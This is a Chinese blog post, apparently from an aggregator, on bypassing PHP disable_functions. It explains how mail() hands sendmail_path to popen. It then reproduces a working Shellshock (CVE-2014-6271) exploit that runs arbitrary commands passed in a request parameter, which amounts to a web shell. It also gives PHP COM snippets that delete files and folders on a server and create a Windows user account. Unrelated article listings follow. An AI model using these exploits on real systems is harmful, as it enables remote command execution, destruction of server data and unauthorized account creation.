先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c

236行:

char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;

从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =

注释中可以看到,send_mail默认值为"sendmail -t -i".

extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。

如下:

if (!sendmail_path) {
#if (defined PHP_WIN32 || defined NETWARE)
/* handle old style win smtp sending */
if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) {
if (tsm_errmsg) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg);
efree(tsm_errmsg);
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err));
}
MAIL_RET(0);
}
MAIL_RET(1);
#else
MAIL_RET(0);
#endif
}
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}

之后执行:

#ifdef PHP_WIN32
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
#else
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
#endif

将sendmail_cmd丢给popen执行。
如果系统默认sh是bash,popen就会丢给bash执行。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。

影响版本:php 各版本

修复方法:修复CVE-2014-6271

给出POC(http://www.exploit-db.com/exploits/35146/)如下:

<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

<?php
$mPath = str_repeat(“..”,20);
$FSOdelFile = new COM(‘Scripting.FileSystemObject’);
//利用了wshom.ocx
$FSOdelFile->DeleteFile($mPath.”.*.dat”, True);
//删除C区根目录的所有dat文件?> wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹,很恐怖哦。测试代码如下: <?php
$mPath = str_repeat(“..”,20);
$FSOdelFolder = new COM(‘Scripting.FileSystemObject’);
//使用wshom.ocx
$FSOdelFolder->DeleteFolder($mPath.”.11″, True);
//删除特定的文件夹
?> 访问之后,成功删除了c:11这个文件夹。 shgina.dll中Create函数创建账户
这个漏洞的测试代码如下: <?php
$user = new COM(‘{60664CAF-AF0D-0004-A300-5C7D25FF22A0}’);
//利用shgina.dll$user->Create(“asd”);
//创建账户asd
?>

PHP Execute Command Bypass Disable_functions的更多相关文章

  1. ODOO-10.0 错误 Could not execute command 'lessc'

    2017-01-05 20:24:12,473 4652 INFO None odoo.service.db: Create database `hello`. 2017-01-05 20:24:16 ...

  2. VS2010提示error TRK0002: Failed to execute command解决方法

    昨天windows8自动更新Microsoft .NET Framework 3.5和4.5.1安全更新程序,今天用VS2010编译时提示如下错误信息 TRACKER : error TRK0002: ...

  3. Failed to execute command: ""C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\ResGen.exe" 的一个解决办法

    最近在做wpf项目,期间下了一些源码参考,但是在build时经常遇到下面这种bug: Error 2 Failed to execute command: ""C:\Program ...

  4. Node.js log2: ERR when execute command >npm install

    1.Node.js创建项目 项目microblog创建成功,提示:cd  microblog& npm install 项目创建完成时的目录如下图所示: 2.Node.js错误 如题所言: E ...

  5. VS2010提示error TRK0002: Failed to execute command

    转自VC错误:http://www.vcerror.com/?p=277 问题描述: windows8自动更新Microsoft .NET Framework 3.5和4.5.1安全更新程序,今天用V ...

  6. Unable to execute command or shell on remote system: Failed to Execute process

    1.问题描述 先说下我的项目环境:jenkins部署在windows下面,项目部署也是在windows下面,ssh服务器是FreeSSHd,原来是打算用Send files or execute co ...

  7. shell function/for in/for (())/string concat/has dir/rename using regex/if(())/exit/execute command and pass value to variable/execute python

    #!/bin/bash #remove the MER.*_ in file name for all the files in a dir function getdir(){ for elemen ...

  8. 安装Odoo9出现的could not execute command "lessc"问题

    解决方案: apt-get install node-less

  9. 9.0 alpha 版安装出现 could not execute command lessc 的问题

    解决方案: apt-get install node-less

随机推荐

  1. 【转】Solr安全设置——对外禁用管理后台

    本文转自:http://www.devnote.cn/article/94.html 测试于:Solr 4.5.1, Jdk 1.6.0_45, Tomcat 6.0.37 | CentOS 5.7 ...

  2. MFC RadioButton

    添加一组RadioButton 多个radio button,IDC_RADIO1,IDC_RADIO2,IDC_RADIO3 ..将IDC_RADIO1的Group属性选择上,其他不要选Group属 ...

  3. 谈JavaScript代码封装

    前言 也算老生常谈的问题了,再深入搞一搞怎么玩儿封装,如果看到这篇文章的你,正好你也是追求完美的代码洁癖狂者,那么这篇文章相信非常适合你. 举一个例子,编写一个Person类,具有name和birth ...

  4. mysql中char,varchar与text类型的区别和选用

    关于char,varchar与text平时没有太在意,一般来说,可能现在大家都是用varchar.但是当要存储的内容比较大时,究竟是选择varchar还是text呢?不知道...... 于是去查阅了一 ...

  5. laravel 分页

    因为Laravel默认使用的是en语言文件所有咱们相应使用中文分页提示的话,可以按如下步骤操作: laravel4------------------------------------------- ...

  6. hdu 4004 二分 2011大连赛区网络赛D

    题意:一个长为L的河,中间有n个石子,小青蛙需要跳少于m次过河,判断小青蛙每次跳跃最大距离的最小值 最大值最小,用二分 Sample Input 6 1 2 2 25 3 3 11 2 18 Samp ...

  7. ORACLE配置tnsnames.ora文件实例

    ORACLE配置tnsnames.ora文件实例客户机为了和服务器连接,必须先和服务器上的监听进程联络.ORACLE通过tnsnames.ora文件中的连接描述符来说明连接信息.一般tnsnames. ...

  8. cocos2dx游戏开发——微信打飞机学习笔记(十一)——GameOverScene的搭建

    一.创建文件~ GameOverScene.h GameOverScene.cpp GameOverLayer.h GameOverLayer.cpp 二.How to do? 就是加入一个转场就好~ ...

  9. diff和common

    diff 命令 diff命令:找出两个文件的不同点,用于比较文件的差异 linux上非常重要的工具,一般用于制作补丁文件,特别是比较两个版本不同的文件以找到改动的地方. diff在命令行中打印每一个行 ...

  10. python 自定义排序函数

    自定义排序函数 Python内置的 sorted()函数可对list进行排序: >>>sorted([36, 5, 12, 9, 21]) [5, 9, 12, 21, 36] 但 ...